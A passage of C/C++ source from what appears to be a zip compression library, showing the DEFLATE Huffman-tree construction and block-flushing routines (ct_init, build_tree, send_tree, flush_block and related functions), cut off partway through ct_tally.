 568 |   char name[MAX_PATH];          // File name in zip file
 569 |   char *extra;                  // Extra field (set only if ext != 0)
 570 |   char *cextra;                 // Extra in central (set only if cext != 0)
 571 |   char *comment;                // Comment (set only if com != 0)
 572 |   char iname[MAX_PATH];         // Internal file name after cleanup
 573 |   char zname[MAX_PATH];         // External version of internal name
 574 |   int mark;                     // Marker for files to operate on
 575 |   int trash;                    // Marker for files to delete
 576 |   int dosflag;                  // Set to force MSDOS file attributes
 577 |   struct zlist far *nxt;        // Pointer to next header in list
 578 | } TZipFileInfo;
 579 | 
 580 | 
 581 | struct TState;
 582 | typedef unsigned (*READFUNC)(TState &state, char *buf,unsigned size);
 583 | typedef unsigned (*FLUSHFUNC)(void *param, const char *buf, unsigned *size);
 584 | typedef unsigned (*WRITEFUNC)(void *param, const char *buf, unsigned size);
 585 | struct TState
 586 | { void *param;
 587 |   int level; bool seekable;
 588 |   READFUNC readfunc; FLUSHFUNC flush_outbuf;
 589 |   TTreeState ts; TBitState bs; TDeflateState ds;
 590 |   const char *err;
 591 | };
 592 | 
 593 | 
 594 | 
 595 | 
 596 | 
 597 | 
 598 | 
 599 | 
 600 | 
 601 | void Assert(TState &state,bool cond, const char *msg)
 602 | { if (cond) return;
 603 |   state.err=msg;
 604 | }
 605 | void __cdecl Trace(const char *x, ...) {va_list paramList; va_start(paramList, x); paramList; va_end(paramList);}
 606 | void __cdecl Tracec(bool ,const char *x, ...) {va_list paramList; va_start(paramList, x); paramList; va_end(paramList);}
 607 | 
 608 | 
 609 | 
 610 | // ===========================================================================
 611 | // Local (static) routines in this file.
 612 | //
 613 | 
 614 | void init_block     (TState &);
 615 | void pqdownheap     (TState &,ct_data *tree, int k);
 616 | void gen_bitlen     (TState &,tree_desc *desc);
 617 | void gen_codes      (TState &state,ct_data *tree, int max_code);
 618 | void build_tree     (TState &,tree_desc *desc);
 619 | void scan_tree      (TState &,ct_data *tree, int max_code);
 620 | void send_tree      (TState &state,ct_data *tree, int max_code);
 621 | int  build_bl_tree  (TState &);
 622 | void send_all_trees (TState &state,int lcodes, int dcodes, int blcodes);
 623 | void compress_block (TState &state,ct_data *ltree, ct_data *dtree);
 624 | void set_file_type  (TState &);
 625 | void send_bits      (TState &state, int value, int length);
 626 | unsigned bi_reverse (unsigned code, int len);
 627 | void bi_windup      (TState &state);
 628 | void copy_block     (TState &state,char *buf, unsigned len, int header);
 629 | 
 630 | 
 631 | #define send_code(state, c, tree) send_bits(state, tree[c].fc.code, tree[c].dl.len)
 632 | // Send a code of the given tree. c and tree must not have side effects
 633 | 
 634 | // alternatively...
 635 | //#define send_code(state, c, tree)
 636 | //     { if (state.verbose>1) fprintf(stderr,"\ncd %3d ",(c));
 637 | //       send_bits(state, tree[c].fc.code, tree[c].dl.len); }
 638 | 
 639 | #define d_code(dist) ((dist) < 256 ? state.ts.dist_code[dist] : state.ts.dist_code[256+((dist)>>7)])
 640 | // Mapping from a distance to a distance code. dist is the distance - 1 and
 641 | // must not have side effects. dist_code[256] and dist_code[257] are never used.
 642 | 
 643 | #define Max(a,b) (a >= b ? a : b)
 644 | /* the arguments must not have side effects */
 645 | 
 646 | /* ===========================================================================
 647 |  * Allocate the match buffer, initialize the various tables and save the
 648 |  * location of the internal file attribute (ascii/binary) and method
 649 |  * (DEFLATE/STORE).
 650 |  */
 651 | void ct_init(TState &state, ush *attr)
 652 | {
 653 |     int n;        /* iterates over tree elements */
 654 |     int bits;     /* bit counter */
 655 |     int length;   /* length value */
 656 |     int code;     /* code value */
 657 |     int dist;     /* distance index */
 658 | 
 659 |     state.ts.file_type = attr;
 660 |     //state.ts.file_method = method;
 661 |     state.ts.cmpr_bytelen = state.ts.cmpr_len_bits = 0L;
 662 |     state.ts.input_len = 0L;
 663 | 
 664 |     if (state.ts.static_dtree[0].dl.len != 0) return; /* ct_init already called */
 665 | 
 666 |     /* Initialize the mapping length (0..255) -> length code (0..28) */
 667 |     length = 0;
 668 |     for (code = 0; code < LENGTH_CODES-1; code++) {
 669 |         state.ts.base_length[code] = length;
 670 |         for (n = 0; n < (1<<extra_lbits[code]); n++) {
 671 |             state.ts.length_code[length++] = (uch)code;
 672 |         }
 673 |     }
 674 |     Assert(state,length == 256, "ct_init: length != 256");
 675 |     /* Note that the length 255 (match length 258) can be represented
 676 |      * in two different ways: code 284 + 5 bits or code 285, so we
 677 |      * overwrite length_code[255] to use the best encoding:
 678 |      */
 679 |     state.ts.length_code[length-1] = (uch)code;
 680 | 
 681 |     /* Initialize the mapping dist (0..32K) -> dist code (0..29) */
 682 |     dist = 0;
 683 |     for (code = 0 ; code < 16; code++) {
 684 |         state.ts.base_dist[code] = dist;
 685 |         for (n = 0; n < (1<<extra_dbits[code]); n++) {
 686 |             state.ts.dist_code[dist++] = (uch)code;
 687 |         }
 688 |     }
 689 |     Assert(state,dist == 256, "ct_init: dist != 256");
 690 |     dist >>= 7; /* from now on, all distances are divided by 128 */
 691 |     for ( ; code < D_CODES; code++) {
 692 |         state.ts.base_dist[code] = dist << 7;
 693 |         for (n = 0; n < (1<<(extra_dbits[code]-7)); n++) {
 694 |             state.ts.dist_code[256 + dist++] = (uch)code;
 695 |         }
 696 |     }
 697 |     Assert(state,dist == 256, "ct_init: 256+dist != 512");
 698 | 
 699 |     /* Construct the codes of the static literal tree */
 700 |     for (bits = 0; bits <= MAX_BITS; bits++) state.ts.bl_count[bits] = 0;
 701 |     n = 0;
 702 |     while (n <= 143) state.ts.static_ltree[n++].dl.len = 8, state.ts.bl_count[8]++;
 703 |     while (n <= 255) state.ts.static_ltree[n++].dl.len = 9, state.ts.bl_count[9]++;
 704 |     while (n <= 279) state.ts.static_ltree[n++].dl.len = 7, state.ts.bl_count[7]++;
 705 |     while (n <= 287) state.ts.static_ltree[n++].dl.len = 8, state.ts.bl_count[8]++;
 706 |     /* fc.codes 286 and 287 do not exist, but we must include them in the
 707 |      * tree construction to get a canonical Huffman tree (longest code
 708 |      * all ones)
 709 |      */
 710 |     gen_codes(state,(ct_data *)state.ts.static_ltree, L_CODES+1);
 711 | 
 712 |     /* The static distance tree is trivial: */
 713 |     for (n = 0; n < D_CODES; n++) {
 714 |         state.ts.static_dtree[n].dl.len = 5;
 715 |         state.ts.static_dtree[n].fc.code = (ush)bi_reverse(n, 5);
 716 |     }
 717 | 
 718 |     /* Initialize the first block of the first file: */
 719 |     init_block(state);
 720 | }
 721 | 
 722 | /* ===========================================================================
 723 |  * Initialize a new block.
 724 |  */
 725 | void init_block(TState &state)
 726 | {
 727 |     int n; /* iterates over tree elements */
 728 | 
 729 |     /* Initialize the trees. */
 730 |     for (n = 0; n < L_CODES;  n++) state.ts.dyn_ltree[n].fc.freq = 0;
 731 |     for (n = 0; n < D_CODES;  n++) state.ts.dyn_dtree[n].fc.freq = 0;
 732 |     for (n = 0; n < BL_CODES; n++) state.ts.bl_tree[n].fc.freq = 0;
 733 | 
 734 |     state.ts.dyn_ltree[END_BLOCK].fc.freq = 1;
 735 |     state.ts.opt_len = state.ts.static_len = 0L;
 736 |     state.ts.last_lit = state.ts.last_dist = state.ts.last_flags = 0;
 737 |     state.ts.flags = 0; state.ts.flag_bit = 1;
 738 | }
 739 | 
 740 | #define SMALLEST 1
 741 | /* Index within the heap array of least frequent node in the Huffman tree */
 742 | 
 743 | 
 744 | /* ===========================================================================
 745 |  * Remove the smallest element from the heap and recreate the heap with
 746 |  * one less element. Updates heap and heap_len.
 747 |  */
 748 | #define pqremove(tree, top) \
 749 | {\
 750 |     top = state.ts.heap[SMALLEST]; \
 751 |     state.ts.heap[SMALLEST] = state.ts.heap[state.ts.heap_len--]; \
 752 |     pqdownheap(state,tree, SMALLEST); \
 753 | }
 754 | 
 755 | /* ===========================================================================
 756 |  * Compares to subtrees, using the tree depth as tie breaker when
 757 |  * the subtrees have equal frequency. This minimizes the worst case length.
 758 |  */
 759 | #define smaller(tree, n, m) \
 760 |    (tree[n].fc.freq < tree[m].fc.freq || \
 761 |    (tree[n].fc.freq == tree[m].fc.freq && state.ts.depth[n] <= state.ts.depth[m]))
 762 | 
 763 | /* ===========================================================================
 764 |  * Restore the heap property by moving down the tree starting at node k,
 765 |  * exchanging a node with the smallest of its two sons if necessary, stopping
 766 |  * when the heap property is re-established (each father smaller than its
 767 |  * two sons).
 768 |  */
 769 | void pqdownheap(TState &state,ct_data *tree, int k)
 770 | {
 771 |     int v = state.ts.heap[k];
 772 |     int j = k << 1;  /* left son of k */
 773 |     int htemp;       /* required because of bug in SASC compiler */
 774 | 
 775 |     while (j <= state.ts.heap_len) {
 776 |         /* Set j to the smallest of the two sons: */
 777 |         if (j < state.ts.heap_len && smaller(tree, state.ts.heap[j+1], state.ts.heap[j])) j++;
 778 | 
 779 |         /* Exit if v is smaller than both sons */
 780 |         htemp = state.ts.heap[j];
 781 |         if (smaller(tree, v, htemp)) break;
 782 | 
 783 |         /* Exchange v with the smallest son */
 784 |         state.ts.heap[k] = htemp;
 785 |         k = j;
 786 | 
 787 |         /* And continue down the tree, setting j to the left son of k */
 788 |         j <<= 1;
 789 |     }
 790 |     state.ts.heap[k] = v;
 791 | }
 792 | 
 793 | /* ===========================================================================
 794 |  * Compute the optimal bit lengths for a tree and update the total bit length
 795 |  * for the current block.
 796 |  * IN assertion: the fields freq and dad are set, heap[heap_max] and
 797 |  *    above are the tree nodes sorted by increasing frequency.
 798 |  * OUT assertions: the field len is set to the optimal bit length, the
 799 |  *     array bl_count contains the frequencies for each bit length.
 800 |  *     The length opt_len is updated; static_len is also updated if stree is
 801 |  *     not null.
 802 |  */
 803 | void gen_bitlen(TState &state,tree_desc *desc)
 804 | {
 805 |     ct_data *tree  = desc->dyn_tree;
 806 |     const int *extra     = desc->extra_bits;
 807 |     int base            = desc->extra_base;
 808 |     int max_code        = desc->max_code;
 809 |     int max_length      = desc->max_length;
 810 |     ct_data *stree = desc->static_tree;
 811 |     int h;              /* heap index */
 812 |     int n, m;           /* iterate over the tree elements */
 813 |     int bits;           /* bit length */
 814 |     int xbits;          /* extra bits */
 815 |     ush f;              /* frequency */
 816 |     int overflow = 0;   /* number of elements with bit length too large */
 817 | 
 818 |     for (bits = 0; bits <= MAX_BITS; bits++) state.ts.bl_count[bits] = 0;
 819 | 
 820 |     /* In a first pass, compute the optimal bit lengths (which may
 821 |      * overflow in the case of the bit length tree).
 822 |      */
 823 |     tree[state.ts.heap[state.ts.heap_max]].dl.len = 0; /* root of the heap */
 824 | 
 825 |     for (h = state.ts.heap_max+1; h < HEAP_SIZE; h++) {
 826 |         n = state.ts.heap[h];
 827 |         bits = tree[tree[n].dl.dad].dl.len + 1;
 828 |         if (bits > max_length) bits = max_length, overflow++;
 829 |         tree[n].dl.len = (ush)bits;
 830 |         /* We overwrite tree[n].dl.dad which is no longer needed */
 831 | 
 832 |         if (n > max_code) continue; /* not a leaf node */
 833 | 
 834 |         state.ts.bl_count[bits]++;
 835 |         xbits = 0;
 836 |         if (n >= base) xbits = extra[n-base];
 837 |         f = tree[n].fc.freq;
 838 |         state.ts.opt_len += (ulg)f * (bits + xbits);
 839 |         if (stree) state.ts.static_len += (ulg)f * (stree[n].dl.len + xbits);
 840 |     }
 841 |     if (overflow == 0) return;
 842 | 
 843 |     Trace("\nbit length overflow\n");
 844 |     /* This happens for example on obj2 and pic of the Calgary corpus */
 845 | 
 846 |     /* Find the first bit length which could increase: */
 847 |     do {
 848 |         bits = max_length-1;
 849 |         while (state.ts.bl_count[bits] == 0) bits--;
 850 |         state.ts.bl_count[bits]--;           /* move one leaf down the tree */
 851 |         state.ts.bl_count[bits+1] += (ush)2; /* move one overflow item as its brother */
 852 |         state.ts.bl_count[max_length]--;
 853 |         /* The brother of the overflow item also moves one step up,
 854 |          * but this does not affect bl_count[max_length]
 855 |          */
 856 |         overflow -= 2;
 857 |     } while (overflow > 0);
 858 | 
 859 |     /* Now recompute all bit lengths, scanning in increasing frequency.
 860 |      * h is still equal to HEAP_SIZE. (It is simpler to reconstruct all
 861 |      * lengths instead of fixing only the wrong ones. This idea is taken
 862 |      * from 'ar' written by Haruhiko Okumura.)
 863 |      */
 864 |     for (bits = max_length; bits != 0; bits--) {
 865 |         n = state.ts.bl_count[bits];
 866 |         while (n != 0) {
 867 |             m = state.ts.heap[--h];
 868 |             if (m > max_code) continue;
 869 |             if (tree[m].dl.len != (ush)bits) {
 870 |                 Trace("code %d bits %d->%d\n", m, tree[m].dl.len, bits);
 871 |                 state.ts.opt_len += ((long)bits-(long)tree[m].dl.len)*(long)tree[m].fc.freq;
 872 |                 tree[m].dl.len = (ush)bits;
 873 |             }
 874 |             n--;
 875 |         }
 876 |     }
 877 | }
 878 | 
 879 | /* ===========================================================================
 880 |  * Generate the codes for a given tree and bit counts (which need not be
 881 |  * optimal).
 882 |  * IN assertion: the array bl_count contains the bit length statistics for
 883 |  * the given tree and the field len is set for all tree elements.
 884 |  * OUT assertion: the field code is set for all tree elements of non
 885 |  *     zero code length.
 886 |  */
 887 | void gen_codes (TState &state, ct_data *tree, int max_code)
 888 | {
 889 |     ush next_code[MAX_BITS+1]; /* next code value for each bit length */
 890 |     ush code = 0;              /* running code value */
 891 |     int bits;                  /* bit index */
 892 |     int n;                     /* code index */
 893 | 
 894 |     /* The distribution counts are first used to generate the code values
 895 |      * without bit reversal.
 896 |      */
 897 |     for (bits = 1; bits <= MAX_BITS; bits++) {
 898 |         next_code[bits] = code = (ush)((code + state.ts.bl_count[bits-1]) << 1);
 899 |     }
 900 |     /* Check that the bit counts in bl_count are consistent. The last code
 901 |      * must be all ones.
 902 |      */
 903 |     Assert(state,code + state.ts.bl_count[MAX_BITS]-1 == (1<< ((ush) MAX_BITS)) - 1,
 904 |             "inconsistent bit counts");
 905 |     Trace("\ngen_codes: max_code %d ", max_code);
 906 | 
 907 |     for (n = 0;  n <= max_code; n++) {
 908 |         int len = tree[n].dl.len;
 909 |         if (len == 0) continue;
 910 |         /* Now reverse the bits */
 911 |         tree[n].fc.code = (ush)bi_reverse(next_code[len]++, len);
 912 | 
 913 |         //Tracec(tree != state.ts.static_ltree, "\nn %3d %c l %2d c %4x (%x) ", n, (isgraph(n) ? n : ' '), len, tree[n].fc.code, next_code[len]-1);
 914 |     }
 915 | }
 916 | 
 917 | /* ===========================================================================
 918 |  * Construct one Huffman tree and assigns the code bit strings and lengths.
 919 |  * Update the total bit length for the current block.
 920 |  * IN assertion: the field freq is set for all tree elements.
 921 |  * OUT assertions: the fields len and code are set to the optimal bit length
 922 |  *     and corresponding code. The length opt_len is updated; static_len is
 923 |  *     also updated if stree is not null. The field max_code is set.
 924 |  */
 925 | void build_tree(TState &state,tree_desc *desc)
 926 | {
 927 |     ct_data *tree   = desc->dyn_tree;
 928 |     ct_data *stree  = desc->static_tree;
 929 |     int elems            = desc->elems;
 930 |     int n, m;          /* iterate over heap elements */
 931 |     int max_code = -1; /* largest code with non zero frequency */
 932 |     int node = elems;  /* next internal node of the tree */
 933 | 
 934 |     /* Construct the initial heap, with least frequent element in
 935 |      * heap[SMALLEST]. The sons of heap[n] are heap[2*n] and heap[2*n+1].
 936 |      * heap[0] is not used.
 937 |      */
 938 |     state.ts.heap_len = 0, state.ts.heap_max = HEAP_SIZE;
 939 | 
 940 |     for (n = 0; n < elems; n++) {
 941 |         if (tree[n].fc.freq != 0) {
 942 |             state.ts.heap[++state.ts.heap_len] = max_code = n;
 943 |             state.ts.depth[n] = 0;
 944 |         } else {
 945 |             tree[n].dl.len = 0;
 946 |         }
 947 |     }
 948 | 
 949 |     /* The pkzip format requires that at least one distance code exists,
 950 |      * and that at least one bit should be sent even if there is only one
 951 |      * possible code. So to avoid special checks later on we force at least
 952 |      * two codes of non zero frequency.
 953 |      */
 954 |     while (state.ts.heap_len < 2) {
 955 |         int newcp = state.ts.heap[++state.ts.heap_len] = (max_code < 2 ? ++max_code : 0);
 956 |         tree[newcp].fc.freq = 1;
 957 |         state.ts.depth[newcp] = 0;
 958 |         state.ts.opt_len--; if (stree) state.ts.static_len -= stree[newcp].dl.len;
 959 |         /* new is 0 or 1 so it does not have extra bits */
 960 |     }
 961 |     desc->max_code = max_code;
 962 | 
 963 |     /* The elements heap[heap_len/2+1 .. heap_len] are leaves of the tree,
 964 |      * establish sub-heaps of increasing lengths:
 965 |      */
 966 |     for (n = state.ts.heap_len/2; n >= 1; n--) pqdownheap(state,tree, n);
 967 | 
 968 |     /* Construct the Huffman tree by repeatedly combining the least two
 969 |      * frequent nodes.
 970 |      */
 971 |     do {
 972 |         pqremove(tree, n);   /* n = node of least frequency */
 973 |         m = state.ts.heap[SMALLEST];  /* m = node of next least frequency */
 974 | 
 975 |         state.ts.heap[--state.ts.heap_max] = n; /* keep the nodes sorted by frequency */
 976 |         state.ts.heap[--state.ts.heap_max] = m;
 977 | 
 978 |         /* Create a new node father of n and m */
 979 |         tree[node].fc.freq = (ush)(tree[n].fc.freq + tree[m].fc.freq);
 980 |         state.ts.depth[node] = (uch) (Max(state.ts.depth[n], state.ts.depth[m]) + 1);
 981 |         tree[n].dl.dad = tree[m].dl.dad = (ush)node;
 982 |         /* and insert the new node in the heap */
 983 |         state.ts.heap[SMALLEST] = node++;
 984 |         pqdownheap(state,tree, SMALLEST);
 985 | 
 986 |     } while (state.ts.heap_len >= 2);
 987 | 
 988 |     state.ts.heap[--state.ts.heap_max] = state.ts.heap[SMALLEST];
 989 | 
 990 |     /* At this point, the fields freq and dad are set. We can now
 991 |      * generate the bit lengths.
 992 |      */
 993 |     gen_bitlen(state,(tree_desc *)desc);
 994 | 
 995 |     /* The field len is now set, we can generate the bit codes */
 996 |     gen_codes (state,(ct_data *)tree, max_code);
 997 | }
 998 | 
 999 | /* ===========================================================================
1000 |  * Scan a literal or distance tree to determine the frequencies of the codes
1001 |  * in the bit length tree. Updates opt_len to take into account the repeat
1002 |  * counts. (The contribution of the bit length codes will be added later
1003 |  * during the construction of bl_tree.)
1004 |  */
1005 | void scan_tree (TState &state,ct_data *tree, int max_code)
1006 | {
1007 |     int n;                     /* iterates over all tree elements */
1008 |     int prevlen = -1;          /* last emitted length */
1009 |     int curlen;                /* length of current code */
1010 |     int nextlen = tree[0].dl.len; /* length of next code */
1011 |     int count = 0;             /* repeat count of the current code */
1012 |     int max_count = 7;         /* max repeat count */
1013 |     int min_count = 4;         /* min repeat count */
1014 | 
1015 |     if (nextlen == 0) max_count = 138, min_count = 3;
1016 |     tree[max_code+1].dl.len = (ush)-1; /* guard */
1017 | 
1018 |     for (n = 0; n <= max_code; n++) {
1019 |         curlen = nextlen; nextlen = tree[n+1].dl.len;
1020 |         if (++count < max_count && curlen == nextlen) {
1021 |             continue;
1022 |         } else if (count < min_count) {
1023 |             state.ts.bl_tree[curlen].fc.freq = (ush)(state.ts.bl_tree[curlen].fc.freq + count);
1024 |         } else if (curlen != 0) {
1025 |             if (curlen != prevlen) state.ts.bl_tree[curlen].fc.freq++;
1026 |             state.ts.bl_tree[REP_3_6].fc.freq++;
1027 |         } else if (count <= 10) {
1028 |             state.ts.bl_tree[REPZ_3_10].fc.freq++;
1029 |         } else {
1030 |             state.ts.bl_tree[REPZ_11_138].fc.freq++;
1031 |         }
1032 |         count = 0; prevlen = curlen;
1033 |         if (nextlen == 0) {
1034 |             max_count = 138, min_count = 3;
1035 |         } else if (curlen == nextlen) {
1036 |             max_count = 6, min_count = 3;
1037 |         } else {
1038 |             max_count = 7, min_count = 4;
1039 |         }
1040 |     }
1041 | }
1042 | 
1043 | /* ===========================================================================
1044 |  * Send a literal or distance tree in compressed form, using the codes in
1045 |  * bl_tree.
1046 |  */
1047 | void send_tree (TState &state, ct_data *tree, int max_code)
1048 | {
1049 |     int n;                     /* iterates over all tree elements */
1050 |     int prevlen = -1;          /* last emitted length */
1051 |     int curlen;                /* length of current code */
1052 |     int nextlen = tree[0].dl.len; /* length of next code */
1053 |     int count = 0;             /* repeat count of the current code */
1054 |     int max_count = 7;         /* max repeat count */
1055 |     int min_count = 4;         /* min repeat count */
1056 | 
1057 |     /* tree[max_code+1].dl.len = -1; */  /* guard already set */
1058 |     if (nextlen == 0) max_count = 138, min_count = 3;
1059 | 
1060 |     for (n = 0; n <= max_code; n++) {
1061 |         curlen = nextlen; nextlen = tree[n+1].dl.len;
1062 |         if (++count < max_count && curlen == nextlen) {
1063 |             continue;
1064 |         } else if (count < min_count) {
1065 |             do { send_code(state, curlen, state.ts.bl_tree); } while (--count != 0);
1066 | 
1067 |         } else if (curlen != 0) {
1068 |             if (curlen != prevlen) {
1069 |                 send_code(state, curlen, state.ts.bl_tree); count--;
1070 |             }
1071 |             Assert(state,count >= 3 && count <= 6, " 3_6?");
1072 |             send_code(state,REP_3_6, state.ts.bl_tree); send_bits(state,count-3, 2);
1073 | 
1074 |         } else if (count <= 10) {
1075 |             send_code(state,REPZ_3_10, state.ts.bl_tree); send_bits(state,count-3, 3);
1076 | 
1077 |         } else {
1078 |             send_code(state,REPZ_11_138, state.ts.bl_tree); send_bits(state,count-11, 7);
1079 |         }
1080 |         count = 0; prevlen = curlen;
1081 |         if (nextlen == 0) {
1082 |             max_count = 138, min_count = 3;
1083 |         } else if (curlen == nextlen) {
1084 |             max_count = 6, min_count = 3;
1085 |         } else {
1086 |             max_count = 7, min_count = 4;
1087 |         }
1088 |     }
1089 | }
1090 | 
1091 | /* ===========================================================================
1092 |  * Construct the Huffman tree for the bit lengths and return the index in
1093 |  * bl_order of the last bit length code to send.
1094 |  */
1095 | int build_bl_tree(TState &state)
1096 | {
1097 |     int max_blindex;  /* index of last bit length code of non zero freq */
1098 | 
1099 |     /* Determine the bit length frequencies for literal and distance trees */
1100 |     scan_tree(state,(ct_data *)state.ts.dyn_ltree, state.ts.l_desc.max_code);
1101 |     scan_tree(state,(ct_data *)state.ts.dyn_dtree, state.ts.d_desc.max_code);
1102 | 
1103 |     /* Build the bit length tree: */
1104 |     build_tree(state,(tree_desc *)(&state.ts.bl_desc));
1105 |     /* opt_len now includes the length of the tree representations, except
1106 |      * the lengths of the bit lengths codes and the 5+5+4 bits for the counts.
1107 |      */
1108 | 
1109 |     /* Determine the number of bit length codes to send. The pkzip format
1110 |      * requires that at least 4 bit length codes be sent. (appnote.txt says
1111 |      * 3 but the actual value used is 4.)
1112 |      */
1113 |     for (max_blindex = BL_CODES-1; max_blindex >= 3; max_blindex--) {
1114 |         if (state.ts.bl_tree[bl_order[max_blindex]].dl.len != 0) break;
1115 |     }
1116 |     /* Update opt_len to include the bit length tree and counts */
1117 |     state.ts.opt_len += 3*(max_blindex+1) + 5+5+4;
1118 |     Trace("\ndyn trees: dyn %ld, stat %ld", state.ts.opt_len, state.ts.static_len);
1119 | 
1120 |     return max_blindex;
1121 | }
1122 | 
1123 | /* ===========================================================================
1124 |  * Send the header for a block using dynamic Huffman trees: the counts, the
1125 |  * lengths of the bit length codes, the literal tree and the distance tree.
1126 |  * IN assertion: lcodes >= 257, dcodes >= 1, blcodes >= 4.
1127 |  */
1128 | void send_all_trees(TState &state,int lcodes, int dcodes, int blcodes)
1129 | {
1130 |     int rank;                    /* index in bl_order */
1131 | 
1132 |     Assert(state,lcodes >= 257 && dcodes >= 1 && blcodes >= 4, "not enough codes");
1133 |     Assert(state,lcodes <= L_CODES && dcodes <= D_CODES && blcodes <= BL_CODES,
1134 |             "too many codes");
1135 |     Trace("\nbl counts: ");
1136 |     send_bits(state,lcodes-257, 5);
1137 |     /* not +255 as stated in appnote.txt 1.93a or -256 in 2.04c */
1138 |     send_bits(state,dcodes-1,   5);
1139 |     send_bits(state,blcodes-4,  4); /* not -3 as stated in appnote.txt */
1140 |     for (rank = 0; rank < blcodes; rank++) {
1141 |         Trace("\nbl code %2d ", bl_order[rank]);
1142 |         send_bits(state,state.ts.bl_tree[bl_order[rank]].dl.len, 3);
1143 |     }    
1144 |     Trace("\nbl tree: sent %ld", state.bs.bits_sent);
1145 | 
1146 |     send_tree(state,(ct_data *)state.ts.dyn_ltree, lcodes-1); /* send the literal tree */
1147 |     Trace("\nlit tree: sent %ld", state.bs.bits_sent);
1148 | 
1149 |     send_tree(state,(ct_data *)state.ts.dyn_dtree, dcodes-1); /* send the distance tree */
1150 |     Trace("\ndist tree: sent %ld", state.bs.bits_sent);
1151 | }
1152 | 
1153 | /* ===========================================================================
1154 |  * Determine the best encoding for the current block: dynamic trees, static
1155 |  * trees or store, and output the encoded block to the zip file. This function
1156 |  * returns the total compressed length (in bytes) for the file so far.
1157 |  */
1158 | ulg flush_block(TState &state,char *buf, ulg stored_len, int eof)
1159 | {
1160 |     ulg opt_lenb, static_lenb; /* opt_len and static_len in bytes */
1161 |     int max_blindex;  /* index of last bit length code of non zero freq */
1162 | 
1163 |     state.ts.flag_buf[state.ts.last_flags] = state.ts.flags; /* Save the flags for the last 8 items */
1164 | 
1165 |      /* Check if the file is ascii or binary */
1166 |     if (*state.ts.file_type == (ush)UNKNOWN) set_file_type(state);
1167 | 
1168 |     /* Construct the literal and distance trees */
1169 |     build_tree(state,(tree_desc *)(&state.ts.l_desc));
1170 |     Trace("\nlit data: dyn %ld, stat %ld", state.ts.opt_len, state.ts.static_len);
1171 | 
1172 |     build_tree(state,(tree_desc *)(&state.ts.d_desc));
1173 |     Trace("\ndist data: dyn %ld, stat %ld", state.ts.opt_len, state.ts.static_len);
1174 |     /* At this point, opt_len and static_len are the total bit lengths of
1175 |      * the compressed block data, excluding the tree representations.
1176 |      */
1177 | 
1178 |     /* Build the bit length tree for the above two trees, and get the index
1179 |      * in bl_order of the last bit length code to send.
1180 |      */
1181 |     max_blindex = build_bl_tree(state);
1182 | 
1183 |     /* Determine the best encoding. Compute first the block length in bytes */
1184 |     opt_lenb = (state.ts.opt_len+3+7)>>3;
1185 |     static_lenb = (state.ts.static_len+3+7)>>3;
1186 |     state.ts.input_len += stored_len; /* for debugging only */
1187 | 
1188 |     Trace("\nopt %lu(%lu) stat %lu(%lu) stored %lu lit %u dist %u ",
1189 |             opt_lenb, state.ts.opt_len, static_lenb, state.ts.static_len, stored_len,
1190 |             state.ts.last_lit, state.ts.last_dist);
1191 | 
1192 |     if (static_lenb <= opt_lenb) opt_lenb = static_lenb;
1193 | 
1194 |     // Originally, zip allowed the file to be transformed from a compressed
1195 |     // into a stored file in the case where compression failed, there
1196 |     // was only one block, and it was allowed to change. I've removed this
1197 |     // possibility since the code's cleaner if no changes are allowed.
1198 |     //if (stored_len <= opt_lenb && eof && state.ts.cmpr_bytelen == 0L
1199 |     //   && state.ts.cmpr_len_bits == 0L && state.seekable)
1200 |     //{   // && state.ts.file_method != NULL
1201 |     //    // Since LIT_BUFSIZE <= 2*WSIZE, the input data must be there:
1202 |     //    Assert(state,buf!=NULL,"block vanished");
1203 |     //    copy_block(state,buf, (unsigned)stored_len, 0); // without header
1204 |     //    state.ts.cmpr_bytelen = stored_len;
1205 |     //    Assert(state,false,"unimplemented *state.ts.file_method = STORE;");
1206 |     //    //*state.ts.file_method = STORE;
1207 |     //}
1208 |     //else
1209 |     if (stored_len+4 <= opt_lenb && buf != (char*)NULL) {
1210 |                        /* 4: two words for the lengths */
1211 |         /* The test buf != NULL is only necessary if LIT_BUFSIZE > WSIZE.
1212 |          * Otherwise we can't have processed more than WSIZE input bytes since
1213 |          * the last block flush, because compression would have been
1214 |          * successful. If LIT_BUFSIZE <= WSIZE, it is never too late to
1215 |          * transform a block into a stored block.
1216 |          */
1217 |         send_bits(state,(STORED_BLOCK<<1)+eof, 3);  /* send block type */
1218 |         state.ts.cmpr_bytelen += ((state.ts.cmpr_len_bits + 3 + 7) >> 3) + stored_len + 4;
1219 |         state.ts.cmpr_len_bits = 0L;
1220 | 
1221 |         copy_block(state,buf, (unsigned)stored_len, 1); /* with header */
1222 |     }
1223 |     else if (static_lenb == opt_lenb) {
1224 |         send_bits(state,(STATIC_TREES<<1)+eof, 3);
1225 |         compress_block(state,(ct_data *)state.ts.static_ltree, (ct_data *)state.ts.static_dtree);
1226 |         state.ts.cmpr_len_bits += 3 + state.ts.static_len;
1227 |         state.ts.cmpr_bytelen += state.ts.cmpr_len_bits >> 3;
1228 |         state.ts.cmpr_len_bits &= 7L;
1229 |     }
1230 |     else {
1231 |         send_bits(state,(DYN_TREES<<1)+eof, 3);
1232 |         send_all_trees(state,state.ts.l_desc.max_code+1, state.ts.d_desc.max_code+1, max_blindex+1);
1233 |         compress_block(state,(ct_data *)state.ts.dyn_ltree, (ct_data *)state.ts.dyn_dtree);
1234 |         state.ts.cmpr_len_bits += 3 + state.ts.opt_len;
1235 |         state.ts.cmpr_bytelen += state.ts.cmpr_len_bits >> 3;
1236 |         state.ts.cmpr_len_bits &= 7L;
1237 |     }
1238 |     Assert(state,((state.ts.cmpr_bytelen << 3) + state.ts.cmpr_len_bits) == state.bs.bits_sent, "bad compressed size");
1239 |     init_block(state);
1240 | 
1241 |     if (eof) {
1242 |         // Assert(state,input_len == isize, "bad input size");
1243 |         bi_windup(state);
1244 |         state.ts.cmpr_len_bits += 7;  /* align on byte boundary */
1245 |     }
1246 |     Trace("\n");
1247 | 
1248 |     return state.ts.cmpr_bytelen + (state.ts.cmpr_len_bits >> 3);
1249 | }
1250 | 
1251 | /* ===========================================================================
1252 |  * Save the match info and tally the frequency counts. Return true if
1253 |  * the current block must be flushed.
1254 |  */
1255 | int ct_tally (TState &state,int dist, int lc)
1256 | {
1257 |     state.ts.l_buf[state.ts.last_lit++] = (uch)lc;
1258 |     if (dist == 0) {
1259 |         /* lc is the unmatched char */
1260 |         state.ts.dyn_ltree[lc].fc.freq++;
1261 |     } else {
1262 |         /* Here, lc is the match length - MIN_MATCH */
1263 |         dist--;             /* dist = match distance - 1 */
1264 |         Assert(state,(ush)dist < (ush)MAX_DIST &&
